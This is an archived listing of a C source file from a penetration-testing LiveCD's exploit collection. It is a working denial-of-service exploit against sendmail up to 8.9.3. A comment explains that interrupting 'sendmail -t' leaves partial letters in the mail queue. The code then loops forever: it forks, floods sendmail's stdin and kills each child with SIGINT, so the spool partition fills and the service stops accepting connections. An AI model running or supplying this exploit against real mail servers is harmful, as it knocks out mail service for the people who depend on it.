home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / queue-lock.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  54 lines

  1. /*
  2.  
  3.  It seems that sendmail ran with -t option
  4.  does NOT block SIGINT ... In that moment
  5.  while we are sending data to its stdin,
  6.  when we will press CTRL-C process is being
  7.  killed, but in queue rests unfinished letter.
  8.  It stays there quite long - long enought to
  9.  fullfill partition on disk where /var/spool/mqueue
  10.  resides. When it happends, sendmail doesn't
  11.  allow new connections - so it is a kind of
  12.  DoS attack for this service. It has been
  13.  tested on all new versions on sendmail up
  14.  to current (8.9.3).
  15.  
  16.    Lukasz Luzar                     K.K.I.
  17.    http://noname.kki.krakow.pl/   lluzar@kki.pl
  18.  
  19. */
  20.  
  21.  
  22. #include <stdio.h>
  23. #include <unistd.h>
  24. #include <signal.h>
  25. #include <sys/wait.h>
  26.  
  27. #define DELAY 5              /* time in seconds needed to reach
  28. MaxMessageSize limit */
  29. #define SM_PATH "/usr/sbin/sendmail -t"
  30.  
  31. void main()
  32. {
  33.   FILE    *fd;
  34.   int     pid;
  35.  
  36.   for(;;)
  37.     {
  38.       if(( pid = fork()) == 0)
  39.         {
  40.           setpgrp();
  41.           if(( fd = popen( SM_PATH, "w")) == NULL)
  42.             fprintf( stderr, "popen error\n");
  43.           for(;;) fputc( 'A', fd);
  44.         }
  45.       else
  46.         {
  47.           sleep( DELAY);
  48.           kill( (-1) * pid, SIGINT);
  49.           fprintf( stdout, "next\n");
  50.           wait( NULL);
  51.         }
  52.     }
  53. }
  54. /*                    www.hack.co.za              [2000]*/